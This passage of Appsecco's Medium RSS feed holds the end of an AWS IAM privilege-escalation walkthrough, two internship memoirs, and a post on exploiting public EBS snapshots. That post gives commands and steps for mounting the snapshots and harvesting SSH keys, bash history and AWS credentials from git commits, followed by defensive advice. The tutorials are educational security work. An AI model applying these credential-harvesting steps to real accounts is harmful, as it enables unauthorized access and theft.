and read the group permission</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ytXZw0FsfnvFhj3M" /></figure><p>Checking inline policies, the compromised IAM user also has <strong><em>IAM_Policy</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/0*avxVlkGfriQcGwJ7" /></figure><p>The IAM permission above looks like it was a permission that was granted for a specific task and not removed afterward or just a permission that was misconfigured.</p><p>Checking the actions contained in the policy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vyuRTq0RqmUuABVi" /></figure><p>You can see the attached <strong><em>iam:UpdateAssumeRolePolicy</em></strong><br>With the <strong><em>iam:UpdateAssumeRolePolicy</em></strong> permission, the user is able to do the following:</p><ol><li>Edit the role they can assume</li><li>Elevate privileges inside the account</li></ol><p>The command below is used for privilege escalation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FCLYsx00jSZH9sMy" /></figure><p>The attacker can now impersonate the new role with assume-role command. The command below returns the temporary security credentials that can be used to access the cloud environment using the new role.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LaZIkA5qRamxBb_x" /></figure><p>The next step would be the attacker imports these keys locally into his local environment and checks the current logged in user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nKoD5H67JyJjOZmY" /></figure><p>Hereby, the attacker has successfully escalated the privileges inside the environment and has impersonated the new role with assume-role.</p><p>In this real-world scenario, a user with a misconfigured <strong><em>iam:UpdateAssumeRolePolicy</em></strong> privilege could lead an attacker to gain full control over EC2 instances inside the cloud account.<br>The information could be used to access all the policies, including AWS managed policies.</p><p>For an attacker, this means the chance to create new instances and destroy running instances. This attack could cause catastrophic damage to the company’s cloud infrastructure.</p><p>Watch out for the Part 2 and Part 3 posts where we cover other variants of IAM misconfigurations.</p><p>— — — —</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9da814706755" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/exploiting-iam-security-misconfigurations-part-1-9da814706755">Exploiting IAM security Misconfigurations — Part 1</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My Internship Journey]]></title>
            <link>https://medium.com/appsecco/my-internship-journey-647e6cee3278?source=rss----e2adb3957733---4</link>
            <guid isPermaLink="false">https://medium.com/p/647e6cee3278</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[culture]]></category>
            <category><![CDATA[appsecco]]></category>
            <category><![CDATA[internships]]></category>
            <category><![CDATA[work-culture]]></category>
            <dc:creator><![CDATA[Ratnakar Singh]]></dc:creator>
            <pubDate>Mon, 08 May 2023 04:32:15 GMT</pubDate>
            <atom:updated>2023-05-08T04:32:15.062Z</atom:updated>
            <content:encoded><![CDATA[<p>A seamless journey of career growth @Appsecco, remotely working as a security intern.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*WsZt_jCOZpd3CQPlKQm5dg.jpeg" /><figcaption>Free vector art from <a href="https://www.freepik.com/">https://freepik.com</a></figcaption></figure><p><em>The past few months were great for me, I’ve been remotely working with Appsecco as a security intern. During this journey, I’ve been assigned a lot of enthralling tasks that helped me to develop my technical, corporate, and soft skills. All of the tasks were more like “do it yourself” which inspired me to learn and figure out things on my own. However, Mr. Riyaz Walikar (my mentor) was always there to help me with any difficulties I faced. On the first day itself, Riyaz told me, “Let’s not focus on what you know yet, our goal is to expect what you’ll be at the end of this internship.” By that time, I had realized that this journey is going to push me out of my comfort zone for sure.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RX0mg1Z7sDmmdyeXHfhWtA.gif" /><figcaption>Me getting out of my comfort zone</figcaption></figure><h3>When it all started</h3><p>Since the 5th semester of my college, I actively started participating in bug bounty programs and was also working as an SME for the CSE subject. I didn’t join any company after completing college due to some personal reasons so, I decided to continue the work that I was doing, along with preparing for OSCP which I’d aspired to give when I was in college. On earning the certificate, I started looking for opportunities where I can fully work remotely.</p><p>After a few months, I got a job posting on LinkedIn Appsecco and I applied for the same. A few days passed, and I got a call from HR followed by a link to an online quiz. I completed the quiz and scored enough to get a technical round interview scheduled with Riyaz. The interview went pretty smoothly, I was able to answer some of the questions and I didn’t have an idea about the rest of them. We discussed a few vulnerabilities such as SSRF, LFI, and a lot more. Some days passed and I got a call from HR about the next round with the CEO Mrs. Smita Malipatil, and this was a non-technical discussion about myself and the work culture at Appsecco. After a couple of days, I got an internship offer for 6 months after which I’ll be confirmed as a full-time employee of the company, I accepted the offer and completed all the formalities with them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*WGmwup_C6okVTYx8lGvcKw.gif" /><figcaption>Me accepting the offer</figcaption></figure><p><strong>First Interaction with Riyaz</strong></p><p>On the first day itself, I had a meeting with Riyaz and I was very excited and a bit nervous as well. While discussing the desired flow of the internship, Riyaz told me to set up a secure working environment (Unix VM) on my PC, get familiar with OWASP ASVS and create a list of things that I want to learn by the end of this internship. I took a few days to think and created the wishlist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*eyB03guCfU44GbyhV2mK9Q.gif" /><figcaption>Me creating a wishlist</figcaption></figure><h3>Assignments</h3><p>The first assignment was to perform a professional vulnerability assessment of an intentionally vulnerable web application using the OWASP ASVS framework. This assignment was an eye-opener for me that how actual pentests are done. Before this, I’d never tested an application like this hence this was a great learning for me. After completing the tests, I created a security report using the given format and submitted it. But after the submission, I realized that made a lot of mistakes while creating the report due to which I learned numerous points to keep in mind that how an effective report should be made.</p><p>The next assignment was even more interesting where I had to develop a deliberately vulnerable web application. I had never developed a web application entirely from scratch so I was really very excited that this gonna be fun for me. After watching a few tutorials and reading a few blogs I jumped right into my VSCode for developing the application. After a lot of fuzzing, troubleshooting, debugging, and tinkering the application got ready. I then containerized the application and pushed it on GitHub as was required in the assignment. Learnt a bunch of things about Dockerfiles, code repositories and actual programming.</p><p>Now the time was to move forward toward some cloud-related stuff. Honestly, I had no idea about cloud security at all so I was a bit anxious but more enthusiastic about this assignment. The assignment was all about solving a cloud CTF challenge and documenting each step. After a lot of trial and error and learning new concepts, I completed the challenge. All the credit for getting comfortable with AWS security goes to this assignment but it was just the beginning as there was a lot more to learn.</p><p>While doing a Kubernetes related assignment, I faced a number of errors one after another and got stuck on one of them, for real this time. Even after a lot of struggle, I was not able to get what was wrong there and got frustrated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*DdTmiPzlGaULpA0RxCz0TA.gif" /><figcaption>Me getting no progress</figcaption></figure><p>It was time to call the helpline, you got it right — “Riyaz”, we connected over a call to figure out the issue and get it resolved. The art of troubleshooting is a skill not everyone has.</p><p>Similarly, there were a lot more interesting assignments that I enjoyed completing.</p><blockquote><strong>Learnings:</strong></blockquote><blockquote>➣ Testing web applications based on the OWASP ASVS framework.<br>➣ Creating professional security reports.<br>➣ Calculating severity of vulerability using CVSS v3.1.<br>➣ Creating a web application entirely from scratch.<br>➣ Using MongoDB as a backend and NoSQL for managing databases.<br>➣ Using Git for managing repository, managing code changes.<br>➣ Implementation and mitigation of few common web application vulnerabilities.<br>➣ Containerizing applications on Docker.<br>➣ The approach to enumerate cloud assets and some common attack scenarios related to it.<br>➣ How to perform the OSINT of an organization.<br>➣ The working of Kubernetes and creating a cluster in AWS.<br>➣ Enumerating a cluster and some common attack scenarios related to it.<br>➣ Creating a static site and deploying it on a CDN via CLI and code pipelines.<br>➣ The importance of documentation and using markdown to do so.<br>➣ Last but not the least, “always believe that things are already vulnerable, we just need to find it.”</blockquote><h3>Fun Fridays</h3><p>As I already knew that working remotely with Appsecco is NOT all about learning and working, we have a fun catch-up call too. In this call, we get a chance to know everyone and create a bond with them. Especially the one-liner jokes by Riyaz which are often difficult to explain but worth listening to as they are very funny. I wait for the entire week for this day, especially the fun game that we play organized by our HR.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3N8Uz9bLj_F3qQEJ9ypw4A.png" /><figcaption>Catch-up call on a random Friday</figcaption></figure><p>We often play Skribbl but anyone can come up with new ideas and our HR will arrange that game beautifully for us to enjoy.</p><p>So far (since I joined), we had played Tambola, Skribbl, Gartic Phone, Codenames, and guessing Bollywood movie names. I’ve been really excited about new games, but Skribbl is the one that is my favorite as I always feel, one day I can be at #1. Defeating Riyaz and Pranav to get to the first position is what I always try to do as they are pros at it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Slz0P8MzrRuCkTkXq_nopQ.png" /></figure><p>On fine Fridays, Someone from the team came up with an idea to play a game called Gartic Phone. Initially, I had no idea about it and I felt like this gonna be boring. But in the end, while watching everyone’s albums none of us were able to control our laughter, it was very hilarious to see how a sentence transforms into something really unexpected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*woXEF_lyPMYmUCP6POx3Fg.gif" /><figcaption>GarticPhone game on another random Friday</figcaption></figure><p>We even had Secret Santa on Christmas in which all the members are divided into secret pairs in which, one will be a secret santa and the other will be the giftee. The secret santa will know who’s their respective giftee and they have to gift something to them as per their wishlist. After the exchange of gifts, all the giftees have to guess their secret santa. Some of us wished for really hilarious things, I wished for a copper water bottle as I was looking to buy one for a long. While guessing the secret santa, some of us already knew about their santa due to some obvious reasons like delivery OTP sharing but fortunately, my santa failed to guess me whereas I guessed my santa using some observation skills, it was Shruthi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*UNxeCZSf2Uh5WZABZnqi4Q.png" /><figcaption>Secret Santa</figcaption></figure><p><strong>Closing Note</strong></p><p>So, this was a glimpse of my journey at Appsecco being an intern, learning stuff and enjoying at the same time. I was a bit scared of the word corporate but working with Appsecco has busted this myth for me that not every work culture is as perceived.</p><p><strong>Until I write again, thank you for reading — Ratnakar Singh :)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=647e6cee3278" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/my-internship-journey-647e6cee3278">My Internship Journey</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Gaining Experiences and Building Connections: My Internship Journey at Appsecco]]></title>
            <link>https://medium.com/appsecco/gaining-experiences-and-building-connections-my-internship-journey-at-appsecco-49672bcd5569?source=rss----e2adb3957733---4</link>
            <guid isPermaLink="false">https://medium.com/p/49672bcd5569</guid>
            <category><![CDATA[internship-experience]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[internships]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[appsecco]]></category>
            <dc:creator><![CDATA[Abhishek Birdawade]]></dc:creator>
            <pubDate>Wed, 03 May 2023 05:58:24 GMT</pubDate>
            <atom:updated>2023-05-03T05:58:24.141Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="My internship journey at Appsecco" src="https://cdn-images-1.medium.com/max/1024/0*z2k0CfD8sQoKOJac" /><figcaption>Internship journey</figcaption></figure><h3><strong>Me and the Internship</strong></h3><p>Greetings, readers. I am <strong>Abhishek Birdawade</strong>, a Computer Engineering student who recently concluded a six-month internship at <strong>Appsecco </strong>as a <em>Security Engineer Intern</em>. With a profound passion for Cyber Security, my primary objective was to acquire hands-on experience and expand my knowledge in order to excel in this field.</p><p>Throughout my internship tenure at <strong>Appsecco</strong>, I undertook a diverse range of projects and assignments, presenting both challenges and immense rewards. Today, I am thrilled to share my transformative journey with you.</p><p>Within this blog post, I will delve into my internship experience, reflecting upon the invaluable lessons learned, the honing of crucial skills, and the profound impact this experience had on my personal and professional development. It is my sincere hope that the insights I provide will prove beneficial to future interns and those seeking a deeper understanding of the dynamic realm of internships.</p><h3><strong>Landing an offer</strong></h3><p>Prior to embarking on my internship, I dedicated four years of my computer engineering studies to working as a part-time bug bounty hunter. At my college, it was mandatory for all students to undertake a six-month internship to gain practical experience in the industry. As the campus placement season commenced, I realized that no cyber security companies were participating in the process. Consequently, I anxiously began exploring job opportunities on LinkedIn, and that’s when I stumbled upon <a href="https://appsecco.freshteam.com/jobs">Appsecco page</a>, which happened to be hiring for a Security Engineer Intern role. Filled with hope and faith in the universe, I submitted my application.</p><p>Surprisingly, I received a prompt response from the HR department. We engaged in a discussion about my keen interest in the internship position at Appsecco. On the same day, I was presented with an assessment in the form of multiple-choice questions. After successfully clearing the assessment, the next step involved an interview with the team lead, <strong>Swati Ma’am</strong>. As my first professional interview, I was understandably nervous, but Swati Ma’am ensured my comfort throughout the process. The interview proved to be an incredible learning experience, providing me with valuable insights into different facets of security testing from a highly skilled expert.</p><p>The subsequent round of interviews allowed me the privilege of interacting with none other than <strong>Riyaz Walikar (</strong><a href="https://medium.com/@riyazwalikar">@riyazwalikar</a><strong>) </strong>himself. I never anticipated having the opportunity to engage with <strong>Riyaz </strong>so soon, and it was undoubtedly a fan-boy moment for me. The interview proved to be highly informative and insightful, with Riyaz delving into the “<strong>WHY</strong>” behind every aspect of security testing, rather than relying on questions that could be easily found on Google.</p><p>After a few days, I received another call from the HR department, notifying me of my selection for the internship position. I experienced a profound sense of relief and joy for two primary reasons: firstly, I secured an internship in the <em>cyber security </em>domain at <strong>Appsecco</strong>, and secondly, I would have the privilege of working directly under the guidance of <strong>Riyaz</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c3w64DlhIhVIFXq_" /><figcaption>Joy for getting selected!</figcaption></figure><p>Did I mention that when I initially ventured into the field of Cyber Security in 2017–18, I used to learn from Riyaz’s <a href="https://www.youtube.com/watch?v=XBraYHhqT-M">YouTube talks</a>, <a href="https://medium.com/@riyazwalikar">Medium blogs </a>&amp; <a href="https://www.amazon.in/Hands-Application-Penetration-Testing-Suite-ebook/dp/B07P77NV2C">book </a>he wrote?</p><h3><strong>First day as a First-Time Intern</strong></h3><p>Amidst the mix of excitement and first-day nervousness, I received a warm welcome from the HR team, followed by a comprehensive orientation session. Without wasting any time, I had my first call with <strong>S.O</strong> Riyaz, and soon after, I was assigned my initial task.</p><p>The task at hand was to create a Wish-list outlining the areas I wished to explore and learn throughout the duration of the internship. My Wish-list encompassed the following:</p><p><em>1. Expanding my knowledge in Blockchain and Smart Contract hacking, with a specific focus on Solidity testing.</em></p><p><em>2. Gaining proficiency in Cloud security testing and management, with an emphasis on AWS and GCP in the later stages.</em></p><p><em>3. Acquiring expertise in desktop application testing methodologies.</em></p><p><em>4. Conducting code reviews for desktop applications.</em></p><p><em>5. Exploring the realm of browser extensions (add-ons) testing.</em></p><p><em>6. Enhancing my skills in iOS application testing.</em></p><p><em>7. Mastering the art of authoring professional reports.</em></p><p><em>8. Overcoming my tendency to procrastinate and utilizing my time effectively.</em></p><p><em>9. Acquiring proficiency in Docker and Kubernetes for security testing and deployment purposes.</em></p><p>This Wish-list served as a roadmap, outlining my aspirations and areas of focus during the internship.</p><h3><strong>Inside Look: A Day in the Life of an Intern</strong></h3><p>During a typical work-from-home day at the internship, I would commence my work promptly at 9:00 AM. If I had a specific task or assignment assigned to me, I would dedicate my time to it until 6:30 PM, with a one-hour break for lunch.</p><p>The tasks and assignments we received were intentionally designed to push us beyond our comfort zones and foster continuous learning. As individuals inclined towards hacking, our focus had typically been on breaking systems rather than developing applications. However, the most valuable lesson I gleaned from this internship was the importance of understanding the inner workings of a system before attempting to exploit its vulnerabilities. This mindset proved to be far more effective than relying solely on trial and error methods. By comprehending how something is created, we can more efficiently identify and exploit its weaknesses.</p><h3><strong>When it’s Friday!!!</strong></h3><p>As part of team bonding and fostering a positive work environment, we regularly organized Fun Friday meetings where we could unwind and connect with our colleagues. During my first Friday meet, I took the opportunity to introduce myself to the team, and it turned out to be an enjoyable experience for everyone involved.</p><p>During these gatherings, we engaged in virtual games that brought us closer together. Some of the games we played included “Guess the Movie,” “Guess the Song,” “Smash Karts car game,” “Krunker,” “Shellshock,” “Betrayal,” “Gartic phone,” and, of course, the all-time favorite “<strong>Skribbl</strong>.” In <strong>Skribbl</strong>, all 15 team members would attempt to defeat <strong>Riyaz</strong>, but he remained mostly undefeated, showcasing his exceptional skills.</p><p>In addition to the gaming sessions, we also had open discussions to enhance our work culture and provide a platform to freely address any issues that may have arisen. These conversations contributed to a more cohesive and supportive team dynamic.</p><h3><strong>How My Internship Taught Me to Make a Difference</strong></h3><p>Throughout my internship journey, I had the privilege of learning several valuable lessons that have significantly shaped my approach to security testing:</p><p><strong>1. Build before breaking</strong></p><p>Understanding the inner workings of a system and its technology is crucial before attempting to uncover vulnerabilities. By understanding the technology and functionalities, I can approach security testing more effectively.</p><p><strong>2. The power of “why”</strong></p><p>Investigating the underlying reasons behind vulnerabilities is a game-changer for security researchers. Knowing why something is vulnerable provides deeper insights and enables more effective mitigation strategies.</p><p><strong>3. Believe in the process</strong></p><p>Trusting in the process and believing in the work I’m doing has been instrumental in my growth. It has instilled confidence and helped me navigate challenges with resilience and determination.</p><p><strong>4. The significance of mentorship</strong></p><p>Having a mentor has been a cornerstone of my growth during the internship. Their guidance, expertise, and support have been invaluable in shaping my skills and fostering personal and professional development.</p><p>Implementing these lessons has transformed my approach to security testing. Rather than solely focusing on hacking my way into a system, I prioritize understanding the technology and its functionalities. This shift in mindset has not only yielded fruitful results but has also contributed to exponential growth throughout the six-month duration of my internship.</p><p>For those interested in joining an amazing team, I encourage you to keep an eye on <strong>Appsecco </strong><a href="https://appsecco.freshteam.com/jobs">career page</a>. It’s an opportunity to be a part of an incredible team and embark on an enriching journey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dYsuivwCEpGBhJfE" /><figcaption>Success!</figcaption></figure><h3><strong>Outro</strong></h3><p>I have a long journey ahead of me at <strong>Appsecco</strong>. I have just begun my cyber-security journey!</p><p>As you continue to grow and learn within the field, remember to stay curious, be proactive in seeking knowledge, and embrace opportunities for hands-on experience.</p><p><em>Best of luck on your exciting journey</em>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49672bcd5569" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/gaining-experiences-and-building-connections-my-internship-journey-at-appsecco-49672bcd5569">Gaining Experiences and Building Connections: My Internship Journey at Appsecco</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding Treasures in Github and Exploiting AWS for Fun and Profit — Part 2]]></title>
            <link>https://medium.com/appsecco/finding-treasures-in-github-and-exploiting-aws-for-fun-and-profit-part-2-8ffefa995439?source=rss----e2adb3957733---4</link>
            <guid isPermaLink="false">https://medium.com/p/8ffefa995439</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-security]]></category>
            <category><![CDATA[aws-ebs]]></category>
            <dc:creator><![CDATA[Bhagavan Bollina]]></dc:creator>
            <pubDate>Tue, 07 Mar 2023 15:27:38 GMT</pubDate>
            <atom:updated>2023-03-08T04:21:47.530Z</atom:updated>
            <content:encoded><![CDATA[<h3>Finding Treasures in Github and Exploiting AWS for Fun and Profit — Part 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OnJ9RHzx96SpUZKcCX4rEA.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@bjornpierre">Bjorn Pierre</a> on <a href="https://unsplash.com/photos/lLRm3S-7Kfw?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p><em>Disclaimer: This article is written for educational purposes, the author and Appsecco does not encourage readers to do engage in questionable practices without the permission of the repository owner. Please note a personal snapshot was used for the demo.</em></p><p>In our journey from Part 1, we found AWS credentials and used them to enumerate and discover an AWS EBS snapshot which turned out to be public. This post continues our journey of what to do next.</p><p>To read Part 1 of this post, go to <a href="https://blog.appsecco.com/finding-treasures-in-github-and-exploiting-aws-for-fun-and-profit-part-1-be5cfadf942">https://blog.appsecco.com/finding-treasures-in-github-and-exploiting-aws-for-fun-and-profit-part-1-be5cfadf942</a></p><h3>Table of Contents</h3><ol><li>Introduction</li><li>Where can you find public snapshots?</li><li>What to do after finding these snapshots?</li><li>How do you protect your snapshots?</li><li>References</li></ol><h3>Introduction</h3><p>Amazon Elastic Block Store (Amazon EBS) provides block-level storage volumes for use with EC2 instances. EBS volumes behave like raw, unformatted block devices. You can mount these volumes as devices on your instances.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0bI1XZvBL-LKJN22VbDs2Q.png" /></figure><p>EBS volumes that are attached to an instance are exposed as storage volumes that persist independently from the life of the instance. This document shows how can you detect these public snapshots and exploit them to gain sensitive information.</p><h3>Where can you find public snapshots?</h3><p>AWS allows you to configure EBS snapshots to have public visibility. This is so that you can wantingly make your snapshots public as part of the wider community or if you wanted to distribute the snapshot to a wider audience as part of your business offerings. However, more often than not, AWS users accidentally expose these snapshots to all AWS users.</p><p>A quick way to check if a snapshot id you have obtained is public or not is to run the following command</p><p>aws ec2 describe-snapshots --snapshot-ids &lt;snapshot-id-here&gt;</p><p>If you see an output, the snapshot is public.</p><p>AWS has over 20,000+ public snapshots in US East 1 region alone! You can see them in your console <a href="https://us-east-1.console.aws.amazon.com/ec2/home?region=us-east-1#Snapshots:visibility=public">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*7q2Jbf90KOfvYQ4lPB0grw.png" /><figcaption>Public snapshots in AWS in us-east-1</figcaption></figure><h3>What to do after finding these snapshots?</h3><p>To quickly work with a public snapshot (best results with a non encrypted snapshot), you can create a volume out of them and attach the volume to an EC2 instance and browse the filesystem.</p><p>Using the snapshot-id obtained from the credentials discovered in <a href="https://blog.appsecco.com/finding-treasures-in-github-and-exploiting-aws-for-fun-and-profit-part-1-be5cfadf942">Part 1 of the post</a>, we can create a volume and attach the volume to an Ubuntu instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*43w4K75hCncVsLR60zAV0Q.png" /><figcaption>Attaching EBS to EC2 Instance</figcaption></figure><p>Once attached, we can, mount the filesystem to check through the disk. After attaching the volume, ssh into the instance which is launched</p><pre>ssh -i &quot;YOURS.pem&quot; ubuntu@&lt;ip&gt;</pre><p>Run the command to view the filesystem - lsblk</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*cVyPwIIiiQBSrRc4wO8low.png" /><figcaption>filesystem sysfs list</figcaption></figure><p>Now, let&#39;s mount the partitionxvdf1 to /mnt using the mount command.</p><pre>mount /dev/xvdf1 /mnt</pre><p>Once you mount you can browse the files and folders, hunting for credentials gets you some quick wins. A good place to check is the /mnt/root/.ssh directory which contains SSH keys if default paths are used when creating them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*no_x2hrrQpPRtqdP7i71Zw.png" /><figcaption>Found SSH keys</figcaption></figure><p>Looking at the ~/.bash_history file should give you some IP addresses that could potentially be accessible using the SSH keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cYtcZ6PBHrJXRx2b7Ykj9A.png" /><figcaption>SSH into a machine discovered using bash history</figcaption></figure><p>Additional discovery can be performed on this machine. We found the/opt folder to contain some interesting stuff.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*1sg9zlzs0xuPbvP3L46zuw.png" /><figcaption>Found folders related to the development</figcaption></figure><p>I saw that the dev folder had a git repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dx11irG5Rdns0oxKB6DvlQ.png" /><figcaption>Exploring .git folder</figcaption></figure><p>To view the git commits on the repo, we can use git log . After checking the commits, one commit caught my attention. The commit message read Remove env config which I thought was interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UqpPiRYUYHTghTDYKfY-sA.png" /></figure><p>I copied the commit ID of the commit and ran git show &lt;COMMIT-ID&gt; This showed me the credentials of an instance including some other sensitive information. This is a good example of what a post exploitation scenario would like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Ph_qwzLSH7Z1RxXoHq4rQ.png" /><figcaption>Found additional AWS credentials</figcaption></figure><h3>How do you protect your snapshots?</h3><p>A good way to secure your EBS snapshots is to ensure their visibility is set to private AND they are encrypted.</p><p>We can automate this using Service Control Policies as well. Create an SCP that blocks “ec2:ModifySnapshotAttribute” which is responsible for modifying snapshot permissions to make it public. This prevents making snapshots public (available to all AWS accounts). We will write about this in a future post.</p><p>In the AWS console, look at the Permissions tab for any snapshot and make sure it says “This snapshot is currently Private” if not navigate to your modify permissions in snapshots. Check the below image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z5WCsEtRRo_JvOhEfn4yDA.png" /><figcaption>Modify permissions of snapshot</figcaption></figure><h3>Conclusion</h3><p>As with any system, AWS cloud offers multiple options to configure resources securely. Access to resources should always be based on least privileges and should be periodically audited for misconfigurations. Until next time!</p><h3>References</h3><p><a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html">Amazon Elastic Block Store</a></p><p><a href="https://kloudle.com/academy/how-to-encrypt-an-aws-ebs-volume">How to encrypt EBS snapshots</a></p><p><a href="https://securityboulevard.com/2019/08/amazon-ebs-snapshots-exposed-publicly-leaking-sensitive-data-in-hundreds-of-thousands-security-analyst-reveals-at-defcon-27/">EBS Snapshots exposed publicly</a></p><p><a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html">Make an Amazon EBS volume available for use on Linux</a></p><p><a href="https://github.com/ScaleSec/terraform_aws_scp/issues/60#issuecomment-756846039">Prevent EBS snapshots from becoming public</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ffefa995439" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/finding-treasures-in-github-and-exploiting-aws-for-fun-and-profit-part-2-8ffefa995439">Finding Treasures in Github and Exploiting AWS for Fun and Profit — Part 2</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>